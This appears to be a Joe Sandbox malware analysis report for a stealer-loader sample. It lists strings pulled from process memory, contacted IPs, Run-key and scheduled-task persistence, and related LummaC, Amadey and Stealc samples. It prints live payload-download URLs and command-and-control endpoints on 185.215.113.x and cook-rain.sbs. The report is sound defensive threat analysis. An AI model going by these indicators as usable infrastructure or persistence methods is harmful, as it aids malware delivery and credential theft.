https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001B.00000002.3367376617.000001D17079F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000001B.00000002.3314889990.000001D16B6CB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001B.00000002.3335121581.000001D16EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3331315127.000001D16EAB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3263332602.000001D16F986000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeo	skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mozilla.org/#/properties/merinoEnableddisabled_picture_in_picture_overrides.piped	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/SafeBrowsing	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163697186.000001D16DD3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321471198.000001D16DB10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3164018257.000001D16DD60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163063831.000001D16DF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163383057.000001D16DD1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3329197186.000001D16E98D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163697186.000001D16DD3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321471198.000001D16DB10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3164018257.000001D16DD60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163063831.000001D16DF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163383057.000001D16DD1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2https:	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 0000001B.00000002.3302900599.000001D169726000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 0000001B.00000002.3302900599.000001D169761000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	firefox.exe, 0000001B.00000002.3329197186.000001D16E94D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 0000001B.00000002.3329197186.000001D16E92B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestScenariobrowser.safebrowsing.features.fingerprinting.ann	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000001B.00000002.3358978481.000001D16F966000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000001B.00000003.3249825534.000001D16F3C5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/api	51d383286f.exe, 00000008.00000003.3005078237.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3063411149.0000000001774000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3263332602.000001D16F986000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	51d383286f.exe, 00000008.00000003.3011691298.00000000017EC000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3211487644.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3210658120.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	51d383286f.exe, 00000008.00000003.3011691298.00000000017EC000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3226697967.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3210658120.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3229528008.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 0000001B.00000002.3404410635.00001A5AF9C04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	e5323e2eed.exe, 00000007.00000003.2835253190.00000000071A2000.00000004.00001000.00020000.00000000.sdmp, e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	false		high
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpd	8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001B.00000002.3386798370.000001D175E48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phph	8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 0000001B.00000002.3404410635.00001A5AF9C04000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exet	skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/off/def.exerf	51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpp	8ab7de79e4.exe, 00000009.00000002.3424417646.0000000001805000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe43/	skotes.exe, 00000006.00000002.3419368959.0000000001AA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://account.bellmedia.c	firefox.exe, 0000001B.00000002.3376789596.000001D1717C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 0000001B.00000002.3376789596.000001D1717C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3386798370.000001D175EF3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3386798370.000001D175EF3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://email.seznam.cz/newMessageScreen?mailto=%schrome://extensions/content/schemas/manifest.jsona	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	51d383286f.exe, 0000000A.00000003.3204326424.0000000005AF8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	e5323e2eed.exe, 00000007.00000003.2835253190.00000000071A2000.00000004.00001000.00020000.00000000.sdmp, e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabledbrowser.safebrowsing.features.cryptom	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 0000001B.00000003.3244606377.000001D1707BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3367376617.000001D1707BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314336374.000001D16B465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fpn.firefox.cominternal-look-and-feel-changed	firefox.exe, 0000001B.00000002.3314889990.000001D16B647000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001B.00000003.3233212247.000001D175DCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3389931176.000001D1760D7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 0000001B.00000002.3329197186.000001D16E92B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000001B.00000003.3163383057.000001D16DD1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3322971966.000001D16DF78000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001B.00000002.3386798370.000001D175E48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001B.00000002.3309373504.000001D16A146000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe32	51d383286f.exe, 00000008.00000003.3244945133.00000000017C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001B.00000002.3335121581.000001D16EB79000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#-	firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.wykop.pl/	firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3386798370.000001D175E53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/Z	firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sFailed	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/ehPreloadEnabledhttp://mozilla.org/#/properties/networkPredictor	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/1/itemshttp://mozilla.org/#/properties/proposedEnroll	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe)	skotes.exe, 00000006.00000002.3419368959.0000000001AB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mozilla.org/i	firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.duckduckgo.com/ac/instrumentCustomElementClass	firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/complete/	firefox.exe, 0000001B.00000002.3385166704.000001D175D22000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001B.00000002.3388893559.000001D175F51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-06/schema#	firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.avito.ru/	firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsUITreatmenthttp://mozilla.org/#/properties/addonsShowLessFrequ	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/1/items	firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/apirsion.txtPK	51d383286f.exe, 0000000A.00000002.3420531192.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.46	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
62.76.234.151	home.fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557945
Start date and time:	2024-11-18 19:02:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@61/27@35/15
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 142.250.186.78, 108.177.15.84, 216.58.206.35, 184.28.89.167, 88.221.170.101, 34.104.35.123, 20.189.173.25, 142.250.185.74, 172.217.16.138, 216.58.206.74, 216.58.212.138, 172.217.16.202, 216.58.206.42, 142.250.184.234, 142.250.186.170, 172.217.18.10, 142.250.186.42, 142.250.185.106, 142.250.186.138, 172.217.23.106, 142.250.184.202, 142.250.186.106, 142.250.181.234, 2.22.242.139, 2.22.242.82, 20.189.173.10
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, clients2.google.com, go.microsoft.com, ocsp.digicert.com, login.live.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, onedscolprdwus09.westus.cloudapp.azure.com, go.microsoft.com.edgekey.net, onedscolprdwus20.westus.cloudapp.azure.com, clients.l.google.com, location.services.mozilla.com, wcpstatic.microsoft.com
Execution Graph export aborted for target 51d383286f.exe, PID 8020 because there are no executed function
Execution Graph export aborted for target e5323e2eed.exe, PID 7860 because there are no executed function
Execution Graph export aborted for target file.exe, PID 360 because it is empty
Execution Graph export aborted for target skotes.exe, PID 5688 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 940 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:04:01	API Interceptor	431926x Sleep call for process: skotes.exe modified
13:04:27	API Interceptor	64x Sleep call for process: 51d383286f.exe modified
13:04:45	API Interceptor	214x Sleep call for process: e5323e2eed.exe modified
13:04:51	API Interceptor	179x Sleep call for process: 8ab7de79e4.exe modified
19:02:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:04:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 51d383286f.exe C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe
19:04:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8ab7de79e4.exe C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe
19:04:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 436631dbc3.exe C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe
19:04:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e96c94d1af.exe C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe
19:05:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 51d383286f.exe C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe
19:05:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8ab7de79e4.exe C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe
19:05:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 436631dbc3.exe C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
